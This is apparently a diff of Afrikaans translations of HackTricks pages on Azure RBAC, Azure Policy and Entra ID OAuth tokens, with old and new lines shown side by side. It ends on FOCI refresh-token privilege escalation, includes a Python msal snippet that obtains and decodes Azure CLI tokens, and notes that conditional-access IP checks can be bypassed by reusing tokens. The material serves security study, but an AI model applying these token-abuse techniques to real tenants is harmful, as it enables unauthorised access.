Afhangende van die skaal waaraan die rol toegeken is, kan die **rol** **geërf** word na **ander hulpbronne** binne die skaal houer. Byvoorbeeld, as 'n gebruiker A 'n **rol op die subskripsie** het, sal hy daardie **rol op al die hulpbron groepe** binne die subskripsie hê en op **al die hulpbronne** binne die hulpbron groep.
|
||||
Afhangende van die skaal waaraan die rol toegeken is, kan die **rol** **geërf** word na **ander hulpbronne** binne die skaal houer. Byvoorbeeld, as 'n gebruiker A 'n **rol op die subskripsie** het, sal hy daardie **rol op al die hulpbron groepe** binne die subskripsie hê en op **alle hulpbronne** binne die hulpbron groep.
|
||||
|
||||
### **Klassieke Rolle**
|
||||
|
||||
| **Eienaar** | <ul><li>Volledige toegang tot alle hulpbronne</li><li>Kan toegang vir ander gebruikers bestuur</li></ul> | Alle hulpbron tipes |
|
||||
| ------------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
|
||||
| **Bydraer** | <ul><li>Volledige toegang tot alle hulpbronne</li><li>Kan nie toegang bestuur nie</li></ul> | Alle hulpbron tipes |
|
||||
| **Leser** | • Sien alle hulpbronne | Alle hulpbron tipes |
|
||||
| **Gebruiker Toegang Administrateur** | <ul><li>Sien alle hulpbronne</li><li>Kan toegang vir ander gebruikers bestuur</li></ul> | Alle hulpbron tipes |
|
||||
| **Eienaar** | <ul><li>Volle toegang tot alle hulpbronne</li><li>Kan toegang vir ander gebruikers bestuur</li></ul> | Alle hulpbron tipes |
|
||||
| ------------------------------- | ------------------------------------------------------------------------------------------ | ------------------ |
|
||||
| **Bydraer** | <ul><li>Volle toegang tot alle hulpbronne</li><li>Kan nie toegang bestuur nie</li></ul> | Alle hulpbron tipes |
|
||||
| **Leser** | • Sien alle hulpbronne | Alle hulpbron tipes |
|
||||
| **Gebruiker Toegang Administrateur** | <ul><li>Sien alle hulpbronne</li><li>Kan toegang vir ander gebruikers bestuur</li></ul> | Alle hulpbron tipes |
|
||||
|
||||
### Gebou-in rolle
|
||||
|
||||
[Van die dokumentasie: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol-gebaseerde toegangbeheer (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) het verskeie Azure **gebou-in rolle** wat jy kan **toeken** aan **gebruikers, groepe, diens prinsipale, en bestuurde identiteite**. Rol toekennings is die manier waarop jy **toegang tot Azure hulpbronne** beheer. As die gebou-in rolle nie aan die spesifieke behoeftes van jou organisasie voldoen nie, kan jy jou eie [**Azure pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
[Van die dokumentasie: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol-gebaseerde toegangbeheer (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) het verskeie Azure **gebou-in rolle** wat jy kan **toekenn** aan **gebruikers, groepe, diens prinsipale, en bestuurde identiteite**. Rol toekennings is die manier waarop jy **toegang tot Azure hulpbronne** beheer. As die gebou-in rolle nie aan die spesifieke behoeftes van jou organisasie voldoen nie, kan jy jou eie [**Azure pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** skep.**
|
||||
|
||||
**Gebou-in** rolle geld slegs vir die **hulpbronne** waarvoor hulle **bedoel** is, byvoorbeeld kyk na hierdie 2 voorbeelde van **Gebou-in rolle oor Compute** hulpbronne:
|
||||
|
||||
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Bied toestemming aan om rugsteun kluise te gebruik om disk rugsteun te doen. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Bied toestemming aan om rugsteun kluise te laat rugsteun. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
|
||||
| [Virtuele Masjien Gebruiker Aanmelding](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Sien Virtuele Masjiene in die portaal en meld aan as 'n gewone gebruiker. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
| [Virtuele Masjien Gebruiker Aanmelding](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Sien Virtuele Masjiene in die portaal en teken in as 'n gewone gebruiker. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
|
||||
Hierdie rolle kan **ook toegeken word oor logiese houers** (soos bestuursgroepe, subskripsies en hulpbron groepe) en die prinsipale wat geraak word, sal dit **oor die hulpbronne binne daardie houers** hê.
|
||||
Hierdie rolle kan **ook oor logiese houers** (soos bestuur groepe, subskripsies en hulpbron groepe) toegeken word en die prinsipale wat geraak word, sal dit **oor die hulpbronne binne daardie houers** hê.
|
||||
|
||||
- Vind hier 'n lys met [**alle Azure gebou-in rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Vind hier 'n lys met [**alle Entra ID gebou-in rolle**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
@@ -253,7 +253,7 @@ Hierdie rolle kan **ook toegeken word oor logiese houers** (soos bestuursgroepe,
|
||||
### Pasgemaakte Rolle
|
||||
|
||||
- Dit is ook moontlik om [**pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) te skep
|
||||
- Hulle word binne 'n skaal geskep, alhoewel 'n rol in verskeie skale kan wees (bestuursgroepe, subskripsie en hulpbron groepe)
|
||||
- Hulle word binne 'n skaal geskep, alhoewel 'n rol in verskeie skale kan wees (bestuur groepe, subskripsie en hulpbron groepe)
|
||||
- Dit is moontlik om al die fynere toestemmings wat die pasgemaakte rol sal hê, te konfigureer
|
||||
- Dit is moontlik om toestemmings uit te sluit
|
||||
- 'n prinsipaal met 'n uitgeslote toestemming sal dit nie kan gebruik nie, selfs al word die toestemming elders toegeken
|
||||
@@ -294,16 +294,16 @@ Voorbeeld van toestemmings JSON vir 'n pasgemaakte rol:
|
||||
```
|
||||
### Permissies volgorde
|
||||
|
||||
- Ten einde vir 'n **hoofpersoon om toegang tot 'n hulpbron te hê** moet daar 'n eksplisiete rol aan hom toegeken word (op enige manier) **wat hom daardie toestemming gee**.
|
||||
- Om 'n **hoofpersoon toegang tot 'n hulpbron te hê**, moet daar 'n eksplisiete rol aan hom toegeken word (op enige manier) **wat hom daardie toestemming gee**.
|
||||
- 'n Eksplisiete **weier roltoewysing het voorrang** bo die rol wat die toestemming gee.
|
||||
|
||||
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
|
||||
|
||||
### Globale Administrateur
|
||||
|
||||
Globale Administrateur is 'n rol van Entra ID wat **volledige beheer oor die Entra ID huurder gee**. Dit gee egter nie standaard enige toestemmings oor Azure hulpbronne nie.
|
||||
Globale Administrateur is 'n rol van Entra ID wat **volledige beheer oor die Entra ID huurder** gee. Dit gee egter nie standaard enige toestemming oor Azure hulpbronne nie.
|
||||
|
||||
Gebruikers met die Globale Administrateur rol het die vermoë om '**te verhoog' na die Gebruikerstoegang Administrateur Azure rol in die Wortelbestuursgroep**. So kan Globale Administrateurs toegang in **alle Azure subskripsies en bestuursgroepe bestuur.**\
|
||||
Gebruikers met die Globale Administrateur rol het die vermoë om te '**verhoog' na die Gebruikerstoegang Administrateur Azure rol in die Wortelbestuursgroep**. So kan Globale Administrateurs toegang in **alle Azure subskripsies en bestuursgroepe bestuur.**\
|
||||
Hierdie verhoging kan aan die einde van die bladsy gedoen word: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
|
||||
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
|
||||
@@ -312,7 +312,7 @@ Hierdie verhoging kan aan die einde van die bladsy gedoen word: [https://portal.
|
||||
|
||||
**Azure Beleide** is reëls wat organisasies help om te verseker dat hul hulpbronne aan spesifieke standaarde en nakomingsvereistes voldoen. Hulle stel jou in staat om **instellings op hulpbronne in Azure af te dwing of te oudit**. Byvoorbeeld, jy kan die skepping van virtuele masjiene in 'n nie-geautoriseerde streek voorkom of verseker dat alle hulpbronne spesifieke etikette het vir opsporing.
|
||||
|
||||
Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne stop om geskep of verander te word. Hulle is ook **reaktief**, wat jou toelaat om bestaande nie-nakomende hulpbronne te vind en reg te stel.
|
||||
Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne keer om geskep of verander te word. Hulle is ook **reaktief**, wat jou toelaat om bestaande nie-nakomende hulpbronne te vind en reg te stel.
|
||||
|
||||
#### **Belangrike Konsepte**
|
||||
|
||||
@@ -326,9 +326,9 @@ Azure Beleide is **proaktief**: hulle kan nie-nakomende hulpbronne stop om geske
|
||||
1. **Verseker Nakoming met Spesifieke Azure Streke**: Hierdie beleid verseker dat alle hulpbronne in spesifieke Azure streke ontplooi word. Byvoorbeeld, 'n maatskappy mag wil verseker dat al sy data in Europa gestoor word vir GDPR-nakoming.
|
||||
2. **Afgedwonge Naamstandaarde**: Beleide kan naamkonvensies vir Azure hulpbronne afdwing. Dit help om hulpbronne te organiseer en maklik te identifiseer op grond van hul name, wat nuttig is in groot omgewings.
|
||||
3. **Beperking van Sekere Hulpbron Tipes**: Hierdie beleid kan die skepping van sekere tipes hulpbronne beperk. Byvoorbeeld, 'n beleid kan ingestel word om die skepping van duur hulpbron tipes, soos sekere VM-groottes, te voorkom om koste te beheer.
|
||||
4. **Afgedwonge Etikettering Beleide**: Etikette is sleutel-waarde pare wat met Azure hulpbronne geassosieer word en gebruik word vir hulpbronbestuur. Beleide kan afdwing dat sekere etikette teenwoordig moet wees, of spesifieke waardes moet hê, vir alle hulpbronne. Dit is nuttig vir kostesporing, eienaarskap, of kategorisering van hulpbronne.
|
||||
4. **Afgedwonge Etikettering Beleide**: Etikette is sleutel-waarde pare wat met Azure hulpbronne geassosieer word en gebruik word vir hulpbronbestuur. Beleide kan afdwing dat sekere etikette teenwoordig moet wees, of spesifieke waardes moet hê, vir alle hulpbronne. Dit is nuttig vir kostebestuur, eienaarskap, of kategorisering van hulpbronne.
|
||||
5. **Beperking van Publieke Toegang tot Hulpbronne**: Beleide kan afdwing dat sekere hulpbronne, soos stoor rekeninge of databasisse, nie publieke eindpunte het nie, wat verseker dat hulle slegs binne die organisasie se netwerk toeganklik is.
|
||||
6. **Outomatiese Toepassing van Sekuriteitsinstellings**: Beleide kan gebruik word om outomaties sekuriteitsinstellings op hulpbronne toe te pas, soos om 'n spesifieke netwerk sekuriteitsgroep op alle VM's toe te pas of te verseker dat alle stoor rekeninge versleuteling gebruik.
|
||||
6. **Outomatiese Toepassing van Sekuriteitsinstellings**: Beleide kan gebruik word om outomaties sekuriteitsinstellings op hulpbronne toe te pas, soos om 'n spesifieke netwerk sekuriteitsgroep op alle VM's toe te pas of om te verseker dat alle stoor rekeninge versleuteling gebruik.
|
||||
|
||||
Let daarop dat Azure Beleide aan enige vlak van die Azure hiërargie geheg kan word, maar hulle word **gewoonlik in die wortelbestuursgroep** of in ander bestuursgroepe gebruik.
|
||||
|
||||
@@ -354,17 +354,17 @@ Azure beleid json voorbeeld:
|
||||
|
||||
In Azure **kan toestemmings aan enige deel van die hiërargie toegeken word**. Dit sluit bestuursgroepe, subskripsies, hulpbron groepe, en individuele hulpbronne in. Toestemmings word **geërf** deur die ingeslote **hulpbronne** van die entiteit waar hulle toegeken is.
|
||||
|
||||
Hierdie hiërargiese struktuur stel doeltreffende en skaalbare bestuur van toegangstoestemmings in staat.
|
||||
Hierdie hiërargiese struktuur stel in staat vir doeltreffende en skaalbare bestuur van toegangstoestemmings.
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure RBAC vs ABAC
|
||||
|
||||
**RBAC** (rol-gebaseerde toegangbeheer) is wat ons reeds in die vorige afdelings gesien het: **'n rol aan 'n prinsiep toe te ken om hom toegang te gee** oor 'n hulpbron.\
|
||||
E however, in sommige gevalle wil jy dalk **meer fyn-gegradeerde toegangsbewaking** of **vereenvoudig** die bestuur van **honderde** rol **toekennings**.
|
||||
**RBAC** (rol-gebaseerde toegangbeheer) is wat ons reeds in die vorige afdelings gesien het: **'n rol aan 'n prinsiep toe te ken om hom toegang** tot 'n hulpbron te gee.\
|
||||
E however, in sommige gevalle wil jy dalk **meer fyn-granulêre toegangsbewaking** bied of **die bestuur** van **honderde** rol **toekennings** vereenvoudig.
|
||||
|
||||
Azure **ABAC** (attribuut-gebaseerde toegangbeheer) bou op Azure RBAC deur **roltoekenningsvoorwaardes gebaseer op attribuute** in die konteks van spesifieke aksies by te voeg. 'n _roltoekenningsvoorwaarde_ is 'n **addisionele kontrole wat jy opsioneel aan jou roltoekenning kan voeg** om meer fyn-gegradeerde toegangbeheer te bied. 'n Voorwaarde filter die toestemmings wat as deel van die roldefinisie en roltoekenning toegeken word. Byvoorbeeld, jy kan **'n voorwaarde byvoeg wat vereis dat 'n objek 'n spesifieke etiket moet hê om die objek te lees**.\
|
||||
Jy **kan nie** eksplisiet **toegang** tot spesifieke hulpbronne **weier nie** **met behulp van voorwaardes**.
|
||||
Azure **ABAC** (attribuut-gebaseerde toegangbeheer) bou op Azure RBAC deur **roltoekenningsvoorwaardes gebaseer op attribuute** in die konteks van spesifieke aksies by te voeg. 'n _roltoekenningsvoorwaarde_ is 'n **addisionele kontrole wat jy opsioneel aan jou roltoekenning kan voeg** om meer fyn-granulêre toegangbeheer te bied. 'n voorwaarde filter die toestemmings wat as deel van die roldefinisie en roltoekenning toegeken word. Byvoorbeeld, jy kan **'n voorwaarde byvoeg wat vereis dat 'n objek 'n spesifieke etiket moet hê om die objek te lees**.\
|
||||
Jy **kan nie** eksplisiet **toegang** tot spesifieke hulpbronne **weier** **met behulp van voorwaardes** nie.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implementeer die OAuth 2.0-autoriseringsraamwerk en die OpenID Connect (OIDC) autentikasieprotokol om toegang tot hulpbronne te bestuur.
|
||||
Entra ID is Microsoft se wolk-gebaseerde identiteit en toegang bestuur (IAM) platform, wat dien as die fundamentele autentikasie en magtiging stelsel vir dienste soos Microsoft 365 en Azure Resource Manager. Azure AD implementeer die OAuth 2.0 magtiging raamwerk en die OpenID Connect (OIDC) autentikasie protokol om toegang tot hulpbronne te bestuur.
|
||||
|
||||
### OAuth
|
||||
|
||||
@@ -12,51 +12,51 @@ Entra ID is Microsoft's cloud-based identity and access management (IAM) platfor
|
||||
|
||||
1. **Hulpbronbediener (RS):** Beskerm hulpbronne wat deur die hulpbron eienaar besit word.
|
||||
2. **Hulpbron Eienaar (RO):** Tipies 'n eindgebruiker wat die beskermde hulpbronne besit.
|
||||
3. **Kliënttoepassing (CA):** 'n Toepassing wat toegang tot hulpbronne soek namens die hulpbron eienaar.
|
||||
4. **Autoriseringsbediener (AS):** Gee toegangstokens aan kliënttoepassings nadat dit hulle geverifieer en geautoriseer het.
|
||||
3. **Kliënt Toepassing (CA):** 'n Toepassing wat toegang tot hulpbronne soek namens die hulpbron eienaar.
|
||||
4. **Magtigingsbediener (AS):** Gee toegangstokens aan kliënttoepassings nadat dit hulle geverifieer en gemagtig het.
|
||||
|
||||
**Skoppe en Toestemming:**
|
||||
|
||||
- **Skoppe:** Fyn gespesifiseerde toestemmings op die hulpbronbediener wat toegangsvlakke spesifiseer.
|
||||
- **Skoppe:** Fynkorrelige toestemmings wat op die hulpbronbediener gedefinieer is wat toegangsvlakke spesifiseer.
|
||||
- **Toestemming:** Die proses waardeur 'n hulpbron eienaar 'n kliënttoepassing toestemming gee om toegang tot hulpbronne met spesifieke skoppe te verkry.
|
||||
|
||||
**Microsoft 365 Integrasie:**
|
||||
|
||||
- Microsoft 365 gebruik Azure AD vir IAM en bestaan uit verskeie "eerste-party" OAuth-toepassings.
|
||||
- Hierdie toepassings is diep geïntegreer en het dikwels onderling afhanklike diensverhoudings.
|
||||
- Om die gebruikerservaring te vereenvoudig en funksionaliteit te handhaaf, gee Microsoft "implisiete toestemming" of "vooraf toestemming" aan hierdie eerste-party toepassings.
|
||||
- **Implisiete Toestemming:** Sekere toepassings word outomaties **toegang tot spesifieke skoppe sonder eksplisiete gebruiker of administrateur goedkeuring gegee**.
|
||||
- Om die gebruikerservaring te vereenvoudig en funksionaliteit te handhaaf, verleen Microsoft "implisiete toestemming" of "vooraf toestemming" aan hierdie eerste-party toepassings.
|
||||
- **Implisiete Toestemming:** Sekere toepassings word outomaties **toegestaan om toegang tot spesifieke skoppe te verkry sonder eksplisiete gebruiker of administrateur goedkeuring**.
|
||||
- Hierdie vooraf goedgekeurde skoppe is tipies verborge vir beide gebruikers en administrateurs, wat dit minder sigbaar maak in standaard bestuursinterfaces.
|
||||
|
||||
**Kliënttoepassing Tipes:**
|
||||
**Kliënt Toepassing Tipes:**
|
||||
|
||||
1. **Vertroulike Kliënte:**
|
||||
- Besit hul eie geloofsbriewe (bv. wagwoorde of sertifikate).
|
||||
- Kan **veilig hulself autentiseer** by die autoriseringsbediener.
|
||||
- Kan **veilig hulself autentiseer** by die magtigingsbediener.
|
||||
2. **Publieke Kliënte:**
|
||||
- Het nie unieke geloofsbriewe nie.
|
||||
- Kan nie veilig autentiseer by die autoriseringsbediener nie.
|
||||
- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n publieke kliënttoepassing naboots wanneer hy tokens aan vra, aangesien daar geen meganisme is vir die autoriseringsbediener om die legitimiteit van die toepassing te verifieer nie.
|
||||
- Kan nie veilig autentiseer by die magtigingsbediener nie.
|
||||
- **Sekuriteitsimplikasie:** 'n Aanvaller kan 'n publieke kliënttoepassing naboots wanneer hy tokens aan vra, aangesien daar geen meganisme is vir die magtigingsbediener om die legitimiteit van die toepassing te verifieer nie.
|
||||
|
||||
## Authentication Tokens
|
||||
## Autentikasie Tokens
|
||||
|
||||
Daar is **drie tipes tokens** wat in OIDC gebruik word:
|
||||
|
||||
- [**Toegangstokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die hulpbronbediener aan om **toegang tot hulpbronne** te verkry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, kliënt en hulpbron en **kan nie herroep word** tot vervaldatum nie - dit is 1 uur per standaard.
|
||||
- **ID Tokens**: Die kliënt ontvang hierdie **token van die autoriseringsbediener**. Dit bevat basiese inligting oor die gebruiker. Dit is **gebind aan 'n spesifieke kombinasie van gebruiker en kliënt**.
|
||||
- **Herfris Tokens**: Verskaf aan die kliënt saam met toegangstoken. Gebruik om **nuwe toegang en ID tokens te verkry**. Dit is gebind aan 'n spesifieke kombinasie van gebruiker en kliënt en kan herroep word. Standaard vervaldatum is **90 dae** vir inaktiewe herfris tokens en **geen vervaldatum vir aktiewe tokens** (dit is moontlik om nuwe herfris tokens van 'n herfris token te verkry).
|
||||
- 'n Herfris token moet gekoppel wees aan 'n **`aud`**, aan sekere **skoppe**, en aan 'n **tenant** en dit moet slegs in staat wees om toegangstokens vir daardie aud, skoppe (en nie meer nie) en tenant te genereer. Dit is egter nie die geval met **FOCI toepassings tokens** nie.
|
||||
- 'n Herfris token is versleuteld en slegs Microsoft kan dit ontsleutel.
|
||||
- Om 'n nuwe herfris token te verkry, herroep nie die vorige herfris token nie.
|
||||
- [**Toegangstokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Die kliënt bied hierdie token aan die hulpbronbediener voor om **toegang tot hulpbronne** te verkry. Dit kan slegs gebruik word vir 'n spesifieke kombinasie van gebruiker, kliënt, en hulpbron en **kan nie herroep** word tot vervaldatum nie - dit is 1 uur per standaard.
|
||||
- **ID Tokens**: Die kliënt ontvang hierdie **token van die magtigingsbediener**. Dit bevat basiese inligting oor die gebruiker. Dit is **gebind aan 'n spesifieke kombinasie van gebruiker en kliënt**.
|
||||
- **Herlaai Tokens**: Verskaf aan die kliënt saam met toegangstoken. Gebruik om **nuwe toegang en ID tokens te verkry**. Dit is gebind aan 'n spesifieke kombinasie van gebruiker en kliënt en kan herroep word. Standaard vervaldatum is **90 dae** vir inaktiewe herlaai tokens en **geen vervaldatum vir aktiewe tokens** (dit is moontlik om nuwe herlaai tokens uit 'n herlaai token te verkry).
|
||||
- 'n Herlaai token moet gekoppel wees aan 'n **`aud`**, aan sekere **skoppe**, en aan 'n **tenant** en dit moet slegs in staat wees om toegangstokens vir daardie aud, skoppe (en nie meer nie) en tenant te genereer. Dit is egter nie die geval met **FOCI toepassings tokens** nie.
|
||||
- 'n Herlaai token is versleuteld en slegs Microsoft kan dit ontsleutel.
|
||||
- Om 'n nuwe herlaai token te verkry, herroep nie die vorige herlaai token nie.
|
||||
|
||||
> [!WARNING]
|
||||
> Inligting vir **voorwaardelike toegang** is **gestoor** binne die **JWT**. So, as jy die **token van 'n toegelate IP-adres** aan vra, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token van 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne** te verkry.
|
||||
> Inligting vir **voorwaardelike toegang** is **gestoor** binne die **JWT**. So, as jy die **token van 'n toegelate IP adres** aan vra, sal daardie **IP** in die token **gestoor** word en dan kan jy daardie token van 'n **nie-toegelate IP gebruik om toegang tot die hulpbronne** te verkry.
|
||||
|
||||
### Access Tokens "aud"
|
||||
### Toegangstokens "aud"
|
||||
|
||||
Die veld wat in die "aud" veld aangedui word, is die **hulpbronbediener** (die toepassing) wat gebruik word om die aanmelding uit te voer.
|
||||
|
||||
Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elkeen van hulle sal 'n spesifieke "aud" in die resulterende toegangstoken voeg:
|
||||
Die opdrag `az account get-access-token --resource-type [...]` ondersteun die volgende tipes en elkeen daarvan sal 'n spesifieke "aud" in die resulterende toegangstoken voeg:
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat die volgende net die API's is wat deur `az account get-access-token` ondersteun word, maar daar is meer.
|
||||
@@ -68,19 +68,19 @@ Die opdrag `az account get-access-token --resource-type [...]` ondersteun die vo
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Gebruik om toegang te verkry tot die ouer Azure AD Graph API (verouderd), wat toepassings toelaat om gidsdata in Azure Active Directory (Azure AD) te lees en te skryf.
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Gebruik om Azure hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer en verwyder van hulpbronne soos virtuele masjiene, stoor rekeninge, en meer.
|
||||
* **arm (Azure Resource Manager)**: Gebruik om Azure hulpbronne te bestuur deur die Azure Resource Manager API. Dit sluit operasies in soos die skep, opdateer, en verwyder van hulpbronne soos virtuele masjiene, stoor rekeninge, en meer.
|
||||
- `https://management.core.windows.net/ of https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Gebruik om toegang te verkry tot Azure Batch, 'n diens wat grootmaat parallelle en hoë-prestasie rekenaar toepassings doeltreffend in die wolk moontlik maak.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Gebruik om te kommunikeer met Azure Data Lake Storage Gen1, wat 'n skaalbare data berging en analise diens is.
|
||||
* **data-lake (Azure Data Lake Storage)**: Gebruik om te kommunikeer met Azure Data Lake Storage Gen1, wat 'n skaalbare data stoor en analise diens is.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Gebruik om toegang te verkry tot Azure Media Services, wat wolk-gebaseerde media verwerking en aflewering dienste vir video en klank inhoud bied.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Gebruik om toegang te verkry tot die Microsoft Graph API, die verenigde eindpunt vir Microsoft 365 dienste data. Dit laat jou toe om data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility, en Sekuriteitsdienste te verkry.
|
||||
* **ms-graph (Microsoft Graph API)**: Gebruik om toegang te verkry tot die Microsoft Graph API, die verenigde eindpunt vir Microsoft 365 dienste data. Dit laat jou toe om toegang te verkry tot data en insigte van dienste soos Azure AD, Office 365, Enterprise Mobility, en Sekuriteitsdienste.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Gebruik om toegang te verkry tot Azure Databasis dienste vir oopbron relationele databasis enjin soos MySQL, PostgreSQL, en MariaDB.
|
||||
@@ -88,13 +88,13 @@ Die opdrag `az account get-access-token --resource-type [...]` ondersteun die vo
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Skoppe "scp"
|
||||
### Toegangstokens Skoppe "scp"
|
||||
|
||||
Die skop van 'n toegangstoken word binne die scp sleutel binne die toegangstoken JWT gestoor. Hierdie skoppe definieer waartoe die toegangstoken toegang het.
|
||||
|
||||
As 'n JWT toegelaat word om 'n spesifieke API te kontak, maar **nie die skop het** om die aangevraagde aksie uit te voer nie, sal dit **nie in staat wees om die aksie** met daardie JWT uit te voer nie.
|
||||
As 'n JWT toegelaat word om 'n spesifieke API te kontak maar **nie die skop** het om die aangevraagde aksie uit te voer nie, sal dit **nie in staat wees om die aksie** met daardie JWT uit te voer nie.
|
||||
|
||||
### Kry herfris & toegang token voorbeeld
|
||||
### Kry herlaai & toegang token voorbeeld
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -121,7 +121,6 @@ device_flow
|
||||
pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
|
||||
|
||||
# DECODE JWT
|
||||
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
@@ -147,17 +146,17 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
Voorheen is genoem dat verfrissingstokens aan die **scopes** waaraan dit gegenereer is, aan die **toepassing** en **huurder** waaraan dit gegenereer is, gekoppel moet wees. As enige van hierdie grense oorgesteek word, is dit moontlik om voorregte te verhoog, aangesien dit moontlik sal wees om toegangstokens vir ander hulpbronne en huurders te genereer waartoe die gebruiker toegang het en met meer scopes as wat oorspronklik bedoel was.
|
||||
Voorheen is genoem dat verfrissingstokens aan die **skoppe** waaraan dit gegenereer is, aan die **aansoek** en **huurder** waaraan dit gegenereer is, gekoppel moet wees. As enige van hierdie grense oorgesteek word, is dit moontlik om voorregte te verhoog, aangesien dit moontlik sal wees om toegangstokens vir ander hulpbronne en huurders wat die gebruiker toegang het, te genereer en met meer skoppe as wat oorspronklik bedoel was.
|
||||
|
||||
Boonop, **dit is moontlik met alle verfrissingstokens** in die [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-rekeninge, Microsoft persoonlike rekeninge, en sosiale rekeninge soos Facebook en Google) omdat die [**dokumentasie**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Verfrissingstokens is gebonde aan 'n kombinasie van gebruiker en kliënt, maar **is nie aan 'n hulpbron of huurder gekoppel nie**. 'n Kliënt kan 'n verfrissingstoken gebruik om toegangstokens te verkry **oor enige kombinasie van hulpbron en huurder** waar dit toestemming het om dit te doen. Verfrissingstokens is versleuteld en slegs die Microsoft identity platform kan dit lees."
|
||||
Boonop **is dit moontlik met alle verfrissingstokens** in die [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-rekeninge, Microsoft persoonlike rekeninge, en sosiale rekeninge soos Facebook en Google) omdat, soos die [**dokumentasie**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) noem: "Verfrissingstokens is gebonde aan 'n kombinasie van gebruiker en kliënt, maar **is nie aan 'n hulpbron of huurder gekoppel nie**. 'n Kliënt kan 'n verfrissingstoken gebruik om toegangstokens **oor enige kombinasie van hulpbron en huurder** te verkry waar dit toestemming het om dit te doen. Verfrissingstokens is versleuteld en slegs die Microsoft identity platform kan dit lees."
|
||||
|
||||
Boonop, let daarop dat die FOCI-toepassings openbare toepassings is, so **geen geheim is nodig** om by die bediener te autentiseer.
|
||||
Boonop, let daarop dat die FOCI aansoeke openbare aansoeke is, so **geen geheim is nodig** om by die bediener te autentiseer nie.
|
||||
|
||||
Dan bekende FOCI-kliënte wat in die [**oorspronklike navorsing**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, kan [**hier gevind word**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
Dan kan bekende FOCI kliënte wat in die [**oorspronklike navorsing**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gerapporteer is, [**hier gevind word**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Get different scope
|
||||
|
||||
